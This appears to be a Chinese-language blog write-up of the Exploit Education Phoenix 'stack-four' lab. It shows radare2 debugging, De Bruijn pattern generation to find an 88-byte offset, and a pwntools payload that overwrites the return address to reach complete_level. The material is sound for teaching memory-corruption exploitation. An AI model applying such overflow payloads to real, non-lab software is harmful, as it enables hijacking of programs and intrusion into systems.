Exploit Education整理

Exploit Education整理

Phoenix

stack-four

不同于之前几道题目静态分析的方法,此题涉及到多个函数之间的跳转,单纯的静态分析不太方便,利用pattern动态调试,根据覆盖eip的串的偏移确定偏移量。具体的操作中有多种选择,gdb,pwntools,radare2中都有相应的工具。重点整理radare2的解法。

运行程序给出输入后大概理解是需要利用输入覆盖函数的返回值,为简单的栈溢出。

在radare2中利用afl查看函数

[0x004004b0]> afl
0x00400438    1 13           sym._init
0x00400460    2 16   -> 32   sym.imp.printf
0x00400470    2 16   -> 48   sym.imp.gets
0x00400480    2 16   -> 48   sym.imp.puts
0x00400490    2 16   -> 48   sym.imp.exit
0x004004a0    2 16   -> 48   sym.imp.__libc_start_main
0x004004b0    1 57           entry0
0x004004f0    3 35           sym.deregister_tm_clones
0x00400520    3 53           sym.register_tm_clones
0x00400560    8 130          sym.__do_global_dtors_aux
0x004005f0    3 45   -> 40   sym.frame_dummy
0x0040061d    1 24           sym.complete_level
0x00400635    1 53           sym.start_level
0x0040066a    1 42           sym.main
0x004006a0    5 66   -> 56   sym.__do_global_ctors_aux
0x004006e2    1 8            sym._fini

初步确定我们需要将eip的值覆盖为目标函数sym.complete_level的地址0x0040061d,具体的偏移通过动态调试来进行分析。

利用radare2这个工具。

ragg2 -P 100 -r > /tmp/s4-payload

生成长度为100的De Bruijn Sequence,并重定向到文件中。然后设置r2profile。

user@phoenix-amd64:/opt/phoenix/amd64$ vim /tmp/r2profile.rr2 
user@phoenix-amd64:/opt/phoenix/amd64$ cat /tmp/r2profile.rr2 
#!/usr/bin/rarun2
stdin=/tmp/s4

将标准输入更改为我们事先写好的文件,并且设置的运行程序为rarun2。

此后利用radare2进行调试。

user@phoenix-amd64:/opt/phoenix/amd64$ r2 -d ./stack-four -e dbg.profile=/tmp/r2profile.rr2 
Process with PID 568 started...
= attach 568 568
bin.baddr 0x00400000
USING 400000
Assuming filepath /opt/phoenix/amd64/stack-four
asm.bits 64
[0x7ffff7dc5d34]> dc
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x4141664141654141
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
= attach 568 1
[0x4141664141654141]> 

其中设置的参数,-d表示debug,即调试模式打开文件,-e设置变量,将dbg.profile修改为我们预先写好的profile文件。

此时观察到一方面题目中对于返回的地址给出了一个反馈,另一方面,可以通过当前seek的地址来确定eip的值,或者也可以直接在r2中查看寄存器的值。总之我们可以确定当前的eip的值被更改为了0x4141664141654141 利用wopO对该串进行定位,后接参数8表示串的大小为8(64位程序地址为8bytes,而默认大小为4)。确定了偏移量为88。

[0x4141664141654141]> wopO 0x4141664141654141 8
88

下面构造输入。利用python构造输入。

user@phoenix-amd64:/opt/phoenix/amd64$ python -c "from pwn import *;print 'A'*88+p64(0x0040061d)" >/tmp/s4

测试

user@phoenix-amd64:/opt/phoenix/amd64$ r2 -d ./stack-four -e dbg.profile=/tmp/r2profile.rr2 
Process with PID 587 started...
= attach 587 587
bin.baddr 0x00400000
USING 400000
Assuming filepath /opt/phoenix/amd64/stack-four
asm.bits 64
[0x7ffff7dc5d34]> dc
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!
PTRACE_EVENT_EXIT pid=587, status=0x0
= attach 587 1
[0x7ffff7d9021f]> 

完成。

Comment is disabled to avoid unwanted discussions from 'localhost:1313' on your Disqus account...

Theme Name